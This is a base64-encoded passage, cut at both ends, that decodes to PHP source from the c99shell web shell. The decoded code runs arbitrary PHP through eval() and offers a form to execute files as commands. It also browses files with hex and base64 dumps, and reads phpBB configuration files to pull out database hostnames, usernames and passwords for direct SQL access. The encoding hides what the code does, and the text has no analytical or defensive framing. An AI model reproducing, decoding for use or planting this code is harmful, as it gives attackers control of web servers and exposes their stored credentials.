ZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVw bGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJf cmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBz dHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQg PSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRy ZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkg eyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0 KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiIsJHJl dCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICIsJHJl dCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRyZXQpO30KICAgJHJldCA9IGNvbnZlcnRfY3ly X3N0cmluZygkcmV0LCJkIiwidyIpOwogICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7CiAgIHVu c2V0KCRzdGFja1swXSwkc3RhY2tbMl0pOwogICAkc3RhY2sgPSBhcnJheV92YWx1ZXMoJHN0YWNrKTsK ICAgJGhlYWQgPSBleHBsb2RlKCIiLCRzdGFja1swXSk7CiAgICRoZWFkWzFdID0gZXhwbG9kZSgiICIs JGhlYWRbMV0pOwogICAkaGVhZFsxXSA9ICRoZWFkWzFdWzBdOwogICAkc3RhY2sgPSBhcnJheV9zbGlj ZSgkc3RhY2ssMSk7CiAgIHVuc2V0KCRoZWFkWzJdKTsKICAgJGhlYWQgPSBhcnJheV92YWx1ZXMoJGhl YWQpOwogICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4i YWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iYVwi PjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9kZXNjXCIgaGVpZ2h0PVwiOVwiIHdp ZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7fQogICBlbHNlIHskeSA9ICI8YSBocmVmPVwiIi4k c3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4k ay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9hc2NcIiBoZWlnaHQ9XCI5 XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9CiAgIGlmICgkayA+IGNvdW50KCRoZWFk KSkgeyRrID0gY291bnQoJGhlYWQpLTE7fQogICBmb3IoJGk9MDskaTxjb3VudCgkaGVhZCk7JGkrKykK ICAgewogICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9 Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRpLiRwYXJzZXNv cnRbMV0uIlwiPjxiPiIudHJpbSgkaGVhZFskaV0pLiI8L2I+PC9hPiI7fQogICB9CiAgICRwcmNzID0g YXJyYXkoKTsKICAgZm9yZWFjaCAoJHN0YWNrIGFzICRsaW5lKQogICB7CiAgICBpZiAoIWVtcHR5KCRs aW5lKSkKICAgIHsKICAgICBlY2hvICI8dHI+IjsKICAgICAkbGluZSA9IGV4cGxvZGUoIiIsJGxpbmUp OwogICAgICRsaW5lWzFdID0gaW50dmFsKCRsaW5lWzFdKTsgJGxpbmVbMl0gPSAkbGluZVszXTsgdW5z ZXQoJGxpbmVbM10pOwogICAgICRsaW5lWzJdID0gaW50dmFsKHN0cl9yZXBsYWNlKCIgIiwiIiwkbGlu ZVsyXSkpKjEwMjQ7IAogICAgICRwcmNzW10gPSAkbGluZTsKICAgICBlY2hvICI8L3RyPiI7CiAgICB9 CiAgIH0KICB9CiAgJGhlYWRbJGtdID0gIjxiPiIuJGhlYWRbJGtdLiI8L2I+Ii4keTsKICAkdiA9ICRw cm9jZXNzZXNfc29ydFswXTsKICB1c29ydCgkcHJjcywidGFic29ydCIpOwogIGlmICgkcHJvY2Vzc2Vz

X3NvcnRbMV0gPT0gImQiKSB7JHByY3MgPSBhcnJheV9yZXZlcnNlKCRwcmNzKTt9CiAgJHRhYiA9IGFy cmF5KCk7CiAgJHRhYltdID0gJGhlYWQ7CiAgJHRhYiA9IGFycmF5X21lcmdlKCR0YWIsJHByY3MpOwog IGVjaG8gIjxUQUJMRSBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2 IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGln aHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj1cIiNDMEMwQzBcIj4iOwogIGZvcmVhY2goJHRh YiBhcyAkaT0+JGspCiAgewogICBlY2hvICI8dHI+IjsKICAgZm9yZWFjaCgkayBhcyAkaj0+JHYpIHtp ZiAoJHdpbiBhbmQgJGkgPiAwIGFuZCAkaiA9PSAyKSB7JHYgPSB2aWV3X3NpemUoJHYpO30gZWNobyAi PHRkPiIuJHYuIjwvdGQ+Ijt9CiAgIGVjaG8gIjwvdHI+IjsKICB9CiAgZWNobyAiPC90YWJsZT4iOwog fQp9CmlmICgkYWN0ID09ICJldmFsIikKewogaWYgKCFlbXB0eSgkZXZhbCkpCiB7CiAgZWNobyAiPGI+ UmVzdWx0IG9mIGV4ZWN1dGlvbiB0aGlzIFBIUC1jb2RlPC9iPjo8YnI+IjsKICAkdG1wID0gb2JfZ2V0 X2NvbnRlbnRzKCk7CiAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7CiAgQGNoZGlyKCRkKTsKICBpZiAo JHRtcCkKICB7CiAgIG9iX2NsZWFuKCk7CiAgIGV2YWwoJGV2YWwpOwogICAkcmV0ID0gb2JfZ2V0X2Nv bnRlbnRzKCk7CiAgICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsKICAgb2Jf Y2xlYW4oKTsKICAgZWNobyAkdG1wOwogICBpZiAoJGV2YWxfdHh0KQogICB7CiAgICAkcm93cyA9IGNv dW50KGV4cGxvZGUoIlxyXG4iLCRyZXQpKSsxOwogICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEw O30KICAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIiBy ZWFkb25seT4iLmh0bWxzcGVjaWFsY2hhcnMoJHJldCkuIjwvdGV4dGFyZWE+IjsKICAgfQogICBlbHNl IHtlY2hvICRyZXQuIjxicj4iO30KICB9CiAgZWxzZQogIHsKICAgaWYgKCRldmFsX3R4dCkKICAgewog ICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIjE1XCIgcmVhZG9ubHk+IjsK ICAgIGV2YWwoJGV2YWwpOwogICAgZWNobyAiPC90ZXh0YXJlYT4iOwogICB9CiAgIGVsc2Uge2VjaG8g JHJldDt9CiAgfQogIEBjaGRpcigkb2xkZGlyKTsKIH0KIGVsc2Uge2VjaG8gIjxiPkV4ZWN1dGlvbiBQ SFAtY29kZTwvYj4iOyBpZiAoZW1wdHkoJGV2YWxfdHh0KSkgeyRldmFsX3R4dCA9IFRSVUU7fX0KIGVj aG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRl biBuYW1lPWFjdCB2YWx1ZT1ldmFsPjx0ZXh0YXJlYSBuYW1lPVwiZXZhbFwiIGNvbHM9XCIxMjJcIiBy b3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGV2YWwpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBl PWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxicj48YnI+PGlucHV0IHR5cGU9 c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPiZuYnNwO0Rpc3BsYXkgaW4gdGV4dC1hcmVhJm5ic3A7PGlu cHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJldmFsX3R4dFwiIHZhbHVlPVwiMVwiIjsgaWYgKCRl dmFsX3R4dCkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48L2Zvcm0+IjsKfQppZiAoJGFjdCA9PSAi ZiIpCnsKIGlmICgoIWlzX3JlYWRhYmxlKCRkLiRmKSBvciBpc19kaXIoJGQuJGYpKSBhbmQgJGZ0ICE9 ICJlZGl0IikKIHsKICBpZiAoZmlsZV9leGlzdHMoJGQuJGYpKSB7ZWNobyAiPGNlbnRlcj48Yj5QZXJt aXNpb24gZGVuaWVkICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQuJGYpLiIpITwvYj48L2NlbnRlcj4iO30K ICBlbHNlIHtlY2hvICI8Y2VudGVyPjxiPkZpbGUgZG9lcyBub3QgZXhpc3RzICgiLmh0bWxzcGVjaWFs Y2hhcnMoJGQuJGYpLiIpITwvYj48YnI+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNv ZGUoJGYpLiImZnQ9ZWRpdCZkPSIudXJsZW5jb2RlKCRkKS4iJmM9MVwiPjx1PkNyZWF0ZTwvdT48L2E+ PC9jZW50ZXI+Ijt9CiB9CiBlbHNlCiB7CiAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOwog ICRleHQgPSBleHBsb2RlKCIuIiwkZik7CiAgJGMgPSBjb3VudCgkZXh0KS0xOwogICRleHQgPSAkZXh0 WyRjXTsKICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsKICAkcmZ0ID0gIiI7CiAgZm9yZWFjaCgkZnR5 cGVzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fX0K ICBpZiAoZXJlZ2koInNlc3NfKC4qKSIsJGYpKSB7JHJmdCA9ICJwaHBzZXNzIjt9CiAgaWYgKGVtcHR5 KCRmdCkpIHskZnQgPSAkcmZ0O30KICAkYXJyID0gYXJyYXkoCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIu JHN1cmwuImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBib3JkZXI9XCIwXCI+IiwiaW5mbyIpLAogICBhcnJh eSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfaHRtbFwiIGJvcmRlcj1cIjBcIj4i LCJodG1sIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF90eHRc IiBib3JkZXI9XCIwXCI+IiwidHh0IiksCiAgIGFycmF5KCJDb2RlIiwiY29kZSIpLAogICBhcnJheSgi U2Vzc2lvbiIsInBocHNlc3MiKSwKICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZp bWc9ZXh0X2V4ZVwiIGJvcmRlcj1cIjBcIj4iLCJleGUiKSwKICAgYXJyYXkoIlNEQiIsInNkYiIpLAog ICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZ2lmXCIgYm9yZGVyPVwi MFwiPiIsImltZyIpLAogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRf aW5pXCIgYm9yZGVyPVwiMFwiPiIsImluaSIpLAogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJh Y3Q9aW1nJmltZz1kb3dubG9hZFwiIGJvcmRlcj1cIjBcIj4iLCJkb3dubG9hZCIpLAogICBhcnJheSgi PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfcnRmXCIgYm9yZGVyPVwiMFwiPiIsIm5v dGVwYWQiKSwKICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Y2hhbmdlXCIg Ym9yZGVyPVwiMFwiPiIsImVkaXQiKQogICk7CiAgZWNobyAiPGI+Vmlld2luZyBmaWxlOiZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOzxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0XyIuJGV4dC4i XCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIuJGYuIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4i KSAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiI8 L2I+PGJyPlNlbGVjdCBhY3Rpb24vZmlsZS10eXBlOjxicj4iOwogIGZvcmVhY2goJGFyciBhcyAkdCkK ICB7CiAgIGlmICgkdFsxXSA9PSAkcmZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZm PSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGZvbnQg

Y29sb3I9Z3JlZW4+Ii4kdFswXS4iPC9mb250PjwvYT4iO30KICAgZWxzZWlmICgkdFsxXSA9PSAkZnQp IHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4k dFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj48dT4iLiR0WzBdLiI8L3U+PC9iPjwvYT4iO30K ICAgZWxzZSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4i JmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+Ii4kdFswXS4iPC9iPjwvYT4iO30K ICAgZWNobyAiICg8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0i LiR0WzFdLiImd2hpdGU9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+Kzwv YT4pIHwiOwogIH0KICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CiAgaWYgKCRmdCA9PSAi aW5mbyIpCiAgewogICBlY2hvICI8Yj5JbmZvcm1hdGlvbjo8L2I+PHRhYmxlIGJvcmRlcj0wIGNlbGxz cGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxiPlBhdGg8L2I+PC90ZD48dGQ+ICIuJGQuJGYu IjwvdGQ+PC90cj48dHI+PHRkPjxiPlNpemU8L2I+PC90ZD48dGQ+ICIudmlld19zaXplKGZpbGVzaXpl KCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1ENTwvYj48L3RkPjx0ZD4gIi5tZDVfZmlsZSgk ZC4kZikuIjwvdGQ+PC90cj4iOwogICBpZiAoISR3aW4pCiAgIHsKICAgIGVjaG8gIjx0cj48dGQ+PGI+ T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ICI7ICAgIAogICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmls ZW93bmVyKCRkLiRmKSk7CiAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQuJGYpKTsK ICAgIGVjaG8gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkZC4kZikpLiIvIi4oJGdy WyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCRkLiRmKSk7CiAgIH0KICAgZWNobyAiPHRyPjx0 ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmY9Ii51cmxl bmNvZGUoJGYpLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPiIudmlld19wZXJtc19jb2xvcigkZC4kZiku IjwvYT48L3RkPjwvdHI+PHRyPjx0ZD48Yj5DcmVhdGUgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJk L20vWSBIOmk6cyIsZmlsZWN0aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPkFjY2VzcyB0 aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlYXRpbWUoJGQuJGYpKS4iPC90 ZD48L3RyPjx0cj48dGQ+PGI+TU9ESUZZIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDpp OnMiLGZpbGVtdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsKICAgJGZpID0gZm9w ZW4oJGQuJGYsInJiIik7CiAgIGlmICgkZmkpCiAgIHsKICAgIGlmICgkZnVsbGhleGR1bXApIHtlY2hv ICI8Yj5GVUxMIEhFWERVTVA8L2I+IjsgJHN0ciA9IGZyZWFkKCRmaSxmaWxlc2l6ZSgkZC4kZikpO30K ICAgIGVsc2Uge2VjaG8gIjxiPkhFWERVTVAgUFJFVklFVzwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLCRo ZXhkdW1wX2xpbmVzKiRoZXhkdW1wX3Jvd3MpO30KICAgICRuID0gMDsKICAgICRhMCA9ICIwMDAwMDAw MDxicj4iOwogICAgJGExID0gIiI7CiAgICAkYTIgPSAiIjsKICAgIGZvciAoJGk9MDsgJGk8c3RybGVu KCRzdHIpOyAkaSsrKQogICAgewogICAgICRhMSAuPSBzcHJpbnRmKCIlMDJYIixvcmQoJHN0clskaV0p KS4iICI7CiAgICAgc3dpdGNoIChvcmQoJHN0clskaV0pKQogICAgIHsKICAgICAgY2FzZSAwOiAgJGEy IC49ICI8Zm9udD4wPC9mb250PiI7IGJyZWFrOwogICAgICBjYXNlIDMyOgogICAgICBjYXNlIDEwOgog ICAgICBjYXNlIDEzOiAkYTIgLj0gIiZuYnNwOyI7IGJyZWFrOwogICAgICBkZWZhdWx0OiAkYTIgLj0g aHRtbHNwZWNpYWxjaGFycygkc3RyWyRpXSk7CiAgICAgfQogICAgICRuKys7CiAgICAgaWYgKCRuID09 ICRoZXhkdW1wX3Jvd3MpCiAgICAgewogICAgICAkbiA9IDA7CiAgICAgIGlmICgkaSsxIDwgc3RybGVu KCRzdHIpKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKzEpLiI8YnI+Ijt9CiAgICAgICRhMSAuPSAi PGJyPiI7CiAgICAgICRhMiAuPSAiPGJyPiI7CiAgICAgfQogICAgfQogICAgLy9pZiAoJGExICE9ICIi KSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKS4iPGJyPiI7fQogICAgZWNobyAiPHRhYmxlIGJvcmRl cj0wIGJnY29sb3I9IzY2NjY2NiBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTQ+PHRyPjx0ZCBiZ2Nv bG9yPSM2NjY2NjY+Ii4kYTAuIjwvdGQ+PHRkIGJnY29sb3I9MDAwMDAwPiIuJGExLiI8L3RkPjx0ZCBi Z2NvbG9yPTAwMDAwMD4iLiRhMi4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7CiAgIH0KICAgJGVuY29k ZWQgPSAiIjsKICAgaWYgKCRiYXNlNjQgPT0gMSkKICAgewogICAgZWNobyAiPGI+QmFzZTY0IEVuY29k ZTwvYj48YnI+IjsKICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygk ZC4kZikpOwogICB9CiAgIGVsc2VpZigkYmFzZTY0ID09IDIpCiAgIHsKICAgIGVjaG8gIjxiPkJhc2U2 NCBFbmNvZGUgKyBDaHVuazwvYj48YnI+IjsKICAgICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0 X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpKTsKICAgfQogICBlbHNlaWYoJGJhc2U2NCA9 PSAzKQogICB7CiAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlICsgQ2h1bmsgKyBRdW90ZXM8L2I+PGJy PiI7CiAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsK ICAgICRlbmNvZGVkID0gc3Vic3RyKHByZWdfcmVwbGFjZSgiIS57MSw3Nn0hIiwiJ1xcMCcuXG4iLCRl bmNvZGVkKSwwLC0yKTsKICAgfQogICBlbHNlaWYoJGJhc2U2NCA9PSA0KQogICB7CiAgICAkdGV4dCA9 IGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsKICAgICRlbmNvZGVkID0gYmFzZTY0X2RlY29kZSgkdGV4 dCk7CiAgICBlY2hvICI8Yj5CYXNlNjQgRGVjb2RlIjsKICAgIGlmIChiYXNlNjRfZW5jb2RlKCRlbmNv ZGVkKSAhPSAkdGV4dCkge2VjaG8gIiAoZmFpbGVkKSI7fQogICAgZWNobyAiPC9iPjxicj4iOwogICB9 CiAgIGlmICghZW1wdHkoJGVuY29kZWQpKQogICB7CiAgICBlY2hvICI8dGV4dGFyZWEgY29scz04MCBy b3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZW5jb2RlZCkuIjwvdGV4dGFyZWE+PGJyPjxicj4iOwog ICB9CiAgIGVjaG8gIjxiPkhFWERVTVA6PC9iPjxub2JyPiBbPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1m JmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZmdWxsaGV4ZHVtcD0xJmQ9Ii51cmxlbmNvZGUoJGQp LiJcIj5GdWxsPC9hPl0gWzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4i JmZ0PWluZm8mZD0iLnVybGVuY29kZSgkZCkuIlwiPlByZXZpZXc8L2E+XTxicj48Yj5CYXNlNjQ6IDwv Yj4KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWlu

Zm8mYmFzZTY0PTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkVuY29kZTwvYT5dJm5ic3A7PC9ub2JyPgo8 bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZi YXNlNjQ9MiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+K2NodW5rPC9hPl0mbmJzcDs8L25vYnI+Cjxub2Jy Pls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2 ND0zJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bmsrcXVvdGVzPC9hPl0mbmJzcDs8L25vYnI+Cjxu b2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJh c2U2ND00JmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5EZWNvZGU8L2E+XSZuYnNwOzwvbm9icj4KPFA+IjsK ICB9CiAgZWxzZWlmICgkZnQgPT0gImh0bWwiKQogIHsKICAgaWYgKCR3aGl0ZSkge0BvYl9jbGVhbigp O30KICAgZWNobyAkcjsKICAgaWYgKCR3aGl0ZSkge2M5OTlzaGV4aXQoKTt9CiAgfQogIGVsc2VpZiAo JGZ0ID09ICJ0eHQiKSB7ZWNobyAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3ByZT4iO30K ICBlbHNlaWYgKCRmdCA9PSAiaW5pIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAocGFyc2VfaW5pX2Zp bGUoJGQuJGYsVFJVRSkpOyBlY2hvICI8L3ByZT4iO30KICBlbHNlaWYgKCRmdCA9PSAicGhwc2VzcyIp CiAgewogICBlY2hvICI8cHJlPiI7CiAgICR2ID0gZXhwbG9kZSgifCIsJHIpOwogICBlY2hvICR2WzBd LiI8YnI+IjsKICAgdmFyX2R1bXAodW5zZXJpYWxpemUoJHZbMV0pKTsKICAgZWNobyAiPC9wcmU+IjsK ICB9CiAgZWxzZWlmICgkZnQgPT0gImV4ZSIpCiAgewogICAkZXh0ID0gZXhwbG9kZSgiLiIsJGYpOwog ICAkYyA9IGNvdW50KCRleHQpLTE7CiAgICRleHQgPSAkZXh0WyRjXTsKICAgJGV4dCA9IHN0cnRvbG93 ZXIoJGV4dCk7CiAgICRyZnQgPSAiIjsKICAgZm9yZWFjaCgkZXhlZnR5cGVzIGFzICRrPT4kdikKICAg ewogICAgaWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9CiAgIH0KICAgJGNt ZCA9IHN0cl9yZXBsYWNlKCIlZiUiLCRmLCRyZnQpOwogICBlY2hvICI8Yj5FeGVjdXRlIGZpbGU6PC9i Pjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBu YW1lPWFjdCB2YWx1ZT1jbWQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNtZFwiIHZhbHVlPVwi Ii5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiJcIiBzaXplPVwiIi4oc3RybGVuKCRjbWQpKzIpLiJcIj48 YnI+RGlzcGxheSBpbiB0ZXh0LWFyZWE8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNtZF90 eHRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVl PVwiIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iXCI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1 Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj48L2Zvcm0+IjsKICB9CiAgZWxzZWlmICgkZnQgPT0gInNkYiIp IHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHIpKSk7IGVj aG8gIjwvcHJlPiI7fQogIGVsc2VpZiAoJGZ0ID09ICJjb2RlIikKICB7CiAgIGlmIChlcmVnKCJwaHAi LiJCQiAyLiguKikgYXV0by1nZW5lcmF0ZWQgY29uZmlnIGZpbGUiLCRyKSkKICAgewogICAgJGFyciA9 IGV4cGxvZGUoIlxuIiwkcik7CiAgICBpZiAoY291bnQoJGFyciA9PSAxOCkpCiAgICB7CiAgICAgaW5j bHVkZSgkZC4kZik7CiAgICAgZWNobyAiPGI+cGhwQkIgY29uZmlndXJhdGlvbiBpcyBkZXRlY3RlZCBp biB0aGlzIGZpbGUhPGJyPiI7CiAgICAgaWYgKCRkYm1zID09ICJteXNxbDQiKSB7JGRibXMgPSAibXlz cWwiO30KICAgICBpZiAoJGRibXMgPT0gIm15c3FsIikge2VjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJh Y3Q9c3FsJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYmhvc3QpLiImc3FsX2xvZ2luPSIu aHRtbHNwZWNpYWxjaGFycygkZGJ1c2VyKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRk YnBhc3N3ZCkuIiZzcWxfcG9ydD0zMzA2JnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRibmFtZSku IlwiPjxiPjx1PkNvbm5lY3QgdG8gREI8L3U+PC9iPjwvYT48YnI+PGJyPiI7fQogICAgIGVsc2Uge2Vj aG8gIkJ1dCwgeW91IGNhbid0IGNvbm5lY3QgdG8gZm9ydW0gc3FsLWJhc2UsIGJlY2F1c2UgZGItc29m dHdhcmU9XCIiLiRkYm1zLiJcIiBpcyBub3Qgc3VwcG9ydGVkIGJ5IGM5OTlzaGVsbC4gUGxlYXNlLCBy ZXBvcnQgdXMgZm9yIGZpeC4iO30KICAgICBlY2hvICJQYXJhbWV0ZXJzIGZvciBtYW51YWwgY29ubmVj dDo8YnI+IjsKICAgICAkY2ZndmFycyA9IGFycmF5KCJkYm1zIj0+JGRibXMsImRiaG9zdCI9PiRkYmhv c3QsImRibmFtZSI9PiRkYm5hbWUsImRidXNlciI9PiRkYnVzZXIsImRicGFzc3dkIj0+JGRicGFzc3dk 